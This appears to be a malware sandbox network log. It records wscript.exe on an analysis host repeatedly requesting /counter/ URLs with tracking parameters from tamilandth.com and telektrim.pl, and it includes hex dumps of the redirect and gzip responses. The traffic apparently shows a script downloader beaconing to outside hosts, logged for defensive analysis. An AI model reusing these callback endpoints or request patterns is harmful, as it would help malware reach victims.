Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	188.114.97.3	80	3032	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:01:41.306817055 CET	454	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=21 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tamilandth.com Connection: Keep-Alive
Nov 20, 2024 08:01:42.238173962 CET	1107	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:01:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: http://www.tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=21 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RDr1BOIkXEloATJF%2BSndkWKbtbmIBjWianWUkDHFgEYSufGPD4yecV7A923YNl6q%2BN%2F41DJh522BP7Rie%2FHZ7wwAUzRzpjPzJxKBoReLWf4H91lyqZxpktus1FzWNuodiQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5691f7c800424c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1544&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=454&delivery_rate=0&cwnd=213&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Nov 20, 2024 08:01:43.845752954 CET	454	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=22 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tamilandth.com Connection: Keep-Alive
Nov 20, 2024 08:01:44.175378084 CET	1114	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:01:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: http://www.tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=22 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hENHdrDefNgtjs6IFWQzCiX6KvL%2FX95sOVrDvMF1NJmkS06Ogq%2BlGGZm7YOWqki4XrZPyhSefPUYn7KVDG5F6HsA4nezGRNItGyeixQqRFPIhtny6o%2BfUImKJt7ZAZWbiQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e569205590d424c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1559&sent=4&recv=5&lost=0&retrans=0&sent_bytes=1107&recv_bytes=908&delivery_rate=1750599&cwnd=215&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Nov 20, 2024 08:01:45.161155939 CET	454	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=23 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tamilandth.com Connection: Keep-Alive
Nov 20, 2024 08:01:45.493877888 CET	1119	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:01:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: http://www.tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=23 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fs3qxwiVUbNDPO89rapDWuo8uOut1nqAbGW%2Bxdhyzo%2B1YXlhS6PIORcTLuPBgSxlFSQYEghBpiiJ2P4anKAVmyeabvzV%2B45u%2FFkxTPfD8N7J%2FDdt0Z5VvpXWFi7Dx2xJ3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56920d9862424c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&sent=7&recv=7&lost=0&retrans=0&sent_bytes=2221&recv_bytes=1362&delivery_rate=1802469&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Nov 20, 2024 08:01:46.509831905 CET	454	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=24 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tamilandth.com Connection: Keep-Alive
Nov 20, 2024 08:01:46.839569092 CET	1122	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:01:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: http://www.tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=24 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=osP0nBE10rVNxsPY3f01ClgnU%2FdvjTAP%2FeOF9GLNF9NnBrKmZDKWKkSUdC1hVV7nZggsCSh25eq5H2FK%2BUcpJkOLX5tR6DyDwqO6i%2FtvqRgNkEM22w%2FsHPomjeyUh7%2B8Qw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e569215f865424c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&sent=10&recv=9&lost=0&retrans=0&sent_bytes=3340&recv_bytes=1816&delivery_rate=1802469&cwnd=219&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Nov 20, 2024 08:01:47.911204100 CET	454	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tamilandth.com Connection: Keep-Alive
Nov 20, 2024 08:01:48.245057106 CET	1117	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Nov 2024 07:01:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: http://www.tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MzC%2BXvPiDRqXdI7RinzdK6IOKfGmUwJkAqYyLhRvHBsjNHeKsIkx0Uag43fSZwuKSQOnKXx1MCgFcTj9NhVxqcGdt1R7hjuHIYE5wrtOcjCVcgJ0mnLR%2FT%2B2Kh6TrIeqaA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56921eceb5424c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&sent=13&recv=11&lost=0&retrans=0&sent_bytes=4462&recv_bytes=2270&delivery_rate=1825000&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	94.152.13.52	80	3032	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:01:42.270936966 CET	452	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=31 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: telektrim.pl Connection: Keep-Alive
Nov 20, 2024 08:01:43.427849054 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Nov 2024 07:01:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 13620 Connection: keep-alive Set-Cookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Link: <http://telektrim.pl/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d db 92 e3 36 b2 e0 b3 3b 62 fe 01 a3 1e 4f 97 6c 92 ba ab aa 24 57 9f f1 b4 ed 33 3e f6 d8 1e bb 7d ec 19 b7 43 01 91 90 c4 2a 8a a4 49 aa 54 97 d5 c6 ee bc 9c d7 8d d8 a7 13 fb 19 27 62 9f e6 6d c7 3f b2 1f b0 df b0 99 00 48 82 24 a8 4b 5d ba 3c 11 c7 ed aa 22 81 44 66 22 01 24 32 71 49 7e f0 eb 8f be 7c f5 fa cf 5f 7d 4c 16 c9 d2 7b f9 ec 03 fc 43 3c ea cf cf 1a a1 67 7e f5 79 03 d3 18 75 5e 3e 7b e7 83 25 4b 28 b1 17 34 8a 59 72 d6 f8 f6 f5 27 e6 49 83 b4 00 80 67 2c 92 24 34 d9 4f 2b f7 f2 ac f1 bd f9 ed 87 e6 ab 60 19 d2 c4 9d 7a ac 41 ec c0 4f 98 0f a5 3e fd f8 8c 39 73 d6 40 7c 9e eb 5f 90 88 79 40 ca f5 e7 53 6a 5f 34 c8 22 62 b3 b3 06 e2 1a b5 5a 09 f3 d8 45 12 b9 4b 2b f4 5a 57 4b 2f 0a 6d 2b 5c 84 9c 28 94 8f ed c8 0d 13 92 5c 87 ec ac 91 b0 ab a4 75 4e 2f a9 48 45 02 ef 38 81 bd 5a 02 59 2b 7d f8 d8 63 fc dd f6 68 1c 7f 41 97 8c 9c 91 17 e7 f1 8b 31 60 6b 89 82 50 0e 5e 12 37 f1 d8 cb 2f 5c 46 6e 7c ea b1 1b 37 f0 03 d2 6f f7 c9 7f 21 af 53 a6 3e 68 09 [TRUNCATED] Data Ascii: }6;bOl$W3>}CIT'bm?H$K]<"Df"$2qI~\|_}L{C<g~yu^>{%K(4Yr'Ig,$4O+`zAO>9s@\|_y@Sj_4"bZEK+ZWK/m+\(\uN/HE8ZY+}chA1`kP^7/\Fn\|7o!S>hgjE"UU.3@lDb[vDA;w}Li/2X+]93#FsXBZ+e\|lw5o#"iY`Di;fv}'X[cd^Itoxu_w" xovRj<w%4]JI^@P2wD%,iG8~d>kdc6?1.mi_ht(K\Z}sbB4gMR"N=/K^;ib\|MIz+Pmq~:29oLZIt5:/^pM-^\
Nov 20, 2024 08:01:43.427867889 CET	1236	IN	Data Raw: e1 13 a8 4f bd c0 be 30 3d 77 1a d1 e8 7a 0f 6e 5d df f6 56 0e 8b 39 5f 8e 1b 27 ad 02 86 16 27 51 e2 f2 78 37 8f bc 98 9e a7 64 01 b3 10 d0 85 6a 30 c1 60 09 d9 cb 67 56 56 88 ae 1c 37 20 a3 f5 82 45 ec 68 e6 ce 6d 1a 62 17 6a de da 81 17 44 a3 Data Ascii: O0=wzn]V9_''Qx7dj0`gVV7 EhmbjD`s7lWccR#EMF4GR%L??j6mQ'"qynXuU<lzG{JX>!8f:aM2dFFHEF</6GvM^Ln
Nov 20, 2024 08:01:43.427879095 CET	448	IN	Data Raw: 84 1a 0c 15 ee 81 cb 01 70 df df d9 69 05 35 6e a0 d1 d5 d5 0e 4a 50 05 a8 56 67 38 c8 3b 05 a4 f5 07 f0 7f 93 0c 52 e2 20 a5 b6 31 ec ee dd 47 9d 55 7c b1 47 15 7b 46 a7 d3 cd ab 78 7a 8a 4a a1 73 da cd 29 0f 41 4f 9c e0 68 dd 45 9a eb ca c0 66 Data Ascii: pi5nJPVg8;R 1GU\|G{FxzJs)AOhEf;s']0T<Iqz{LN7v-]VH{@_^f>6@JlR~+j~?A[@?\|kb]0GH
Nov 20, 2024 08:01:43.427973986 CET	1236	IN	Data Raw: 90 f1 25 8a 12 87 22 6d a3 2c 08 79 f4 1a 1a db 9c 79 ec aa 79 3b a7 21 0e 3e 5c 5f d3 c0 cc 23 d7 29 c2 14 10 04 eb 82 a8 6e 55 41 49 2e a4 3f 17 27 e0 43 a2 b0 8b c9 cc 77 84 08 6a f1 f2 5a dc 16 04 a8 c5 8c 48 34 b8 db f5 98 85 04 6f 2b 02 24 Data Ascii: %"m,yyy;!>\_#)nUAI.?'CwjZH4o+$va%OUQ*jh8(FG1%$X2T"0[y^LF.itSQ4h(HPHu@9zh[B62D=2qPn\|A2]_yavd:-_A^Z#/$5B
Nov 20, 2024 08:01:43.427994967 CET	1236	IN	Data Raw: a7 11 87 d4 37 62 e8 c8 17 0c ff 04 fe dc 88 57 53 f8 09 8d 24 31 56 c6 ca 33 40 1b 65 e7 9d b3 0d 97 b6 dc d3 81 07 79 ee 01 9e 94 83 d8 ed f6 bb 63 73 29 ef 6e 70 c5 45 1d dc 82 97 39 6b 36 bd 70 93 9a 5c 18 1b 30 6a a8 27 0f 71 4f 69 cc f8 ce Data Ascii: 7bWS$1V3@eycs)npE9k6p\0j'qOi27!.bLvAZ_wFin13l%%aI&qX6zaf](l!f4U\|v]i,@"6i!G3wq <IR>$3hB70
Nov 20, 2024 08:01:43.428005934 CET	1236	IN	Data Raw: 51 c7 17 37 71 9f e3 a3 89 73 2c e1 b3 0a ef 34 34 11 ab 91 f2 59 2e 4a 29 47 50 65 0a b8 2d 51 d5 ad c8 6f 55 4b 85 69 72 7b cf 02 a5 1b 65 57 01 08 f7 85 85 9e bf a4 e0 8f e2 74 91 5d f0 57 8d 20 c6 52 d7 40 58 e1 83 e2 6d 73 7e 42 5d b1 96 cb Data Ascii: Q7qs,44Y.J)GPe-QoUKir{eWt]W R@Xms~B]dpF9=[r}f=n_? p9iaZ^+S3M~9N BRXiVC-vKP%(y40P'JzfSnN\<Za:0.WT"(J.&fU/&g7(W
Nov 20, 2024 08:01:43.428016901 CET	1236	IN	Data Raw: dd 04 5d fe 2d 05 fa 85 02 f3 20 98 f3 88 a5 ab 78 5b a1 61 a1 50 16 01 7c 5b 11 5a 28 12 c5 5b f1 33 00 a6 6e 87 d9 d2 47 34 d9 25 e6 89 e5 bf 0c 92 34 32 4f 83 2f c4 8d 95 3d 2f 8b 5d da d4 9b f0 72 d0 26 a0 74 bc 98 64 89 0e 4d e8 c4 66 9e 87 Data Ascii: ]- x[aP\|[Z([3nG4%42O/=/]r&tdMfI-$a&1hN)9?d'LKy{BsY`PQZt}\|H"x++9f(XsYQO3d1u!E&;^-Pq,Ok!_TCN&>K`,
Nov 20, 2024 08:01:43.428037882 CET	896	IN	Data Raw: 07 bf e6 bf bb a7 f9 38 10 8d b4 d5 a0 2a cc 69 13 f9 2d dd 12 f7 9a 79 6f 8b 70 b2 1a c3 54 8f 2b 70 71 d1 48 cb 56 e0 82 38 89 27 3e bd 24 34 5b 60 a3 d3 6c 41 c4 4d 16 ea 2d bd 2a b9 07 33 99 b3 9e 93 81 4c 96 34 ce b5 46 9e 1c 52 5c 71 f4 d3 Data Ascii: 8i-yopT+pqHV8'>$4[`lAM-3L4FR\q{c84SWCzGP;R5On<*FZVZh+nfIeIz3Ga3{UX}Hojx"/="7YwD\|(_%jEDNMMiG]Sv
Nov 20, 2024 08:01:43.428049088 CET	1236	IN	Data Raw: 86 d2 88 62 c9 06 c1 3d 4b bd c5 97 9e 98 c8 d7 94 8a 16 4f ae 79 8b 56 4d 55 66 66 e2 2e f1 7c ee 6c e5 db 59 cc 28 1a 8d 77 02 54 31 15 36 de f4 c9 9b df a5 c5 f2 be 8c f2 ff 3d 9f ec 0b 1d b8 b8 37 c3 37 5c f8 13 c6 52 fa f3 51 07 c7 72 6d 4e Data Ascii: b=KOyVMUff.\|lY(wT16=77\RQrmNmGAnnfR/qu_V?2xY{3}$eR/3xe <`,2yShgs^sL]:y'n*%k)U}.kYGs4Q=<o{
Nov 20, 2024 08:01:43.428062916 CET	1236	IN	Data Raw: ac f3 59 e3 eb 6f 3e da 46 00 40 a3 d0 c6 de f8 4f 50 b2 c1 07 12 8f 9e 0a c3 11 4a cf f9 97 bf 92 20 6a 10 29 a3 b3 c6 77 60 98 7c 85 1f eb 22 43 eb b8 52 02 f5 37 ce 3a 4a 01 3e d1 9d 89 70 40 62 d6 33 88 eb bb 78 81 d7 e4 9a f3 0c f4 ae 41 60 Data Ascii: Yo>F@OPJ j)w`\|"CR7:J>p@b3xA`NtJY$/w/mUiVKb.AWs%<QTGsEVf&^G}?~~"=n_ON:j>aN"@H)2s~OS0$Pj
Nov 20, 2024 08:01:43.433089018 CET	1236	IN	Data Raw: c4 e6 2b 8f 82 d9 53 3f e4 4b 83 bf 40 1d 4f c1 64 4f 2a 0d 8d 32 10 70 f2 b0 8c fa c2 e3 68 14 12 54 66 d3 9c ad 61 06 1a 3b 34 d6 0e 91 c9 cd 0d 69 60 7b ab 68 aa 3e 97 65 97 dd 50 49 79 2b 6d 41 90 42 e1 74 dd 2a 33 8d ab bb 60 07 71 2f b0 2a Data Ascii: +S?K@OdO2phTfa;4i`{h>ePIy+mABt3`q/*B'`Z2U{l~WTKK.O-sdT`X#pC<p.q8P@q;a?3x[#2hv{L#px#'!9=s
Nov 20, 2024 08:01:44.186197042 CET	504	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=32 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: telektrim.pl Connection: Keep-Alive Cookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453
Nov 20, 2024 08:01:44.900737047 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Nov 2024 07:01:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 13620 Connection: keep-alive Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Link: <http://telektrim.pl/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d db 92 e3 36 b2 e0 b3 3b 62 fe 01 a3 1e 4f 97 6c 92 ba ab aa 24 57 9f f1 b4 ed 33 3e f6 d8 1e bb 7d ec 19 b7 43 01 91 90 c4 2a 8a a4 49 aa 54 97 d5 c6 ee bc 9c d7 8d d8 a7 13 fb 19 27 62 9f e6 6d c7 3f b2 1f b0 df b0 99 00 48 82 24 a8 4b 5d ba 3c 11 c7 ed aa 22 81 44 66 22 01 24 32 71 49 7e f0 eb 8f be 7c f5 fa cf 5f 7d 4c 16 c9 d2 7b f9 ec 03 fc 43 3c ea cf cf 1a a1 67 7e f5 79 03 d3 18 75 5e 3e 7b e7 83 25 4b 28 b1 17 34 8a 59 72 d6 f8 f6 f5 27 e6 49 83 b4 00 80 67 2c 92 24 34 d9 4f 2b f7 f2 ac f1 bd f9 ed 87 e6 ab 60 19 d2 c4 9d 7a ac 41 ec c0 4f 98 0f a5 3e fd f8 8c 39 73 d6 40 7c 9e eb 5f 90 88 79 40 ca f5 e7 53 6a 5f 34 c8 22 62 b3 b3 06 e2 1a b5 5a 09 f3 d8 45 12 b9 4b 2b f4 5a 57 4b 2f 0a 6d 2b 5c 84 9c 28 94 8f ed c8 0d 13 92 5c 87 ec ac 91 b0 ab a4 75 4e 2f a9 48 45 02 ef 38 81 bd 5a 02 59 2b 7d f8 d8 63 fc dd f6 68 1c 7f 41 97 8c 9c 91 17 e7 f1 8b 31 60 6b 89 82 50 0e 5e 12 37 f1 d8 cb 2f 5c 46 6e 7c ea b1 1b 37 f0 03 d2 6f f7 c9 7f 21 af 53 a6 3e 68 09 [TRUNCATED] Data Ascii: }6;bOl$W3>}CIT'bm?H$K]<"Df"$2qI~\|_}L{C<g~yu^>{%K(4Yr'Ig,$4O+`zAO>9s@\|_y@Sj_4"bZEK+ZWK/m+\(\uN/HE8ZY+}chA1`kP^7/\Fn\|7o!S>hgjE"UU.3@lDb[vDA;w}Li/2X+]93#FsXBZ+e\|lw5o#"iY`Di;fv}'X[cd^Itoxu_w" xovRj<w%4]JI^@P2wD%,iG8~d>kdc6?1.mi_ht(K\Z}sbB4gMR"N=/K^;ib\|MIz+Pmq~:29oLZIt5:/^pM-^\O0=wzn]V9_''Qx7dj0`gVV7
